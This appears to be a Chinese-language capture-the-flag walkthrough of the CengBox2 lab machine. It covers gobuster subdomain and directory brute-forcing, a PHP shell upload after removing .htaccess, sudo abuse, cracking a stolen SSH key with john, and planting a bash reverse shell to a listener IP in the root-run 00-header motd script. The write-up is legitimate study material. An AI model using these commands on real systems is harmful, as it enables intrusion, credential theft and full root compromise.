前言
CengBox2靶机渗透
目标:拿到root权限
考点:
修改hosts,子域名爆破
gobuster工具使用,字典wordlists,seclists使用
ssh私钥爆破,私钥赋权600,
渗透过程
目标IP:192.168.1.134
nmap扫描端口
1 | nmap -sS -A -Pn 192.168.1.134 |

访问21号端口,获得note.txt
1 | Hey Kevin, |
根据提示修改/etc/hosts,使得IP地址能够指向ceng-company,vm
1 | 192.168.1.134 ceng-company.vm |
访问该地址,这里什么的都没有

扫描子域名
1 | gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --url http://ceng-company.vm |

发现子域名admin.ceng-company.vm,然后修改hosts

扫描目录
1 | gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --url http://admin.ceng-company.vm |

登陆后到后台admin后,kevin@ceng-company.vm:admin登陆到后台
删除tmp目录下的 .htaccess,这个文件已经被我删了….但是记得这个文件会拒绝所有php文件的上传
然后写入shell
1 |
|
反弹shell
1 | curl -v "http://admin.ceng-company.vm/gila/tmp/shell.php" |

执行sudo -l,这里表明用户swartz可以在无须密码验证的情况下使用脚本/home/swartz/runphp.sh

查看runphp.sh,发现这是一个在swartz下运行php交互模式的脚本,运行该脚本
1 | sudo -u swartz /home/swartz/runphp.sh |

此时提权至swartz,到mitnick目录下会发现这里的mitnick用户是有ssh密钥的,将mitnick的私钥复制一份到本机上。

1 | cat id_rsa |

使用john爆破ssh密码
1 | python3 /usr/share/john/ssh2john.py test.rsa > test.hash |


爆破出密码为legend
给test.rsa加权600,因为此时test.rsa的权限太高了
1 | chmod 600 test.rsa |

此时提权至mitnick
查看所属组就有rwx权限的文件,因为mitnick属于developers组
1 | find / -type f -perm -g+rwx 2>/dev/null |

关于00-header这个文件的作用是在进行ssh连接时,以root用户运行的脚本,一般用来使得ssh更为个性化。
参考:https://cloud.tencent.com/developer/news/313453

如图可见,该文件属于为root用户所拥有,所属于developers组。
修改该文件

1 | /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.76/3333 0>&1' |
然后重新ssh连接,监听3333端口
此时提权至root

后话
这个靶机学习的地方有很多,所属组的理解,对于find命令的理解和熟练使用
后半部分find / -type f -perm -g+rwx 2>/dev/null,该命令应该是提权过程中,很重要的一步。
果然信息收集在渗透测试中属于最重要的部分。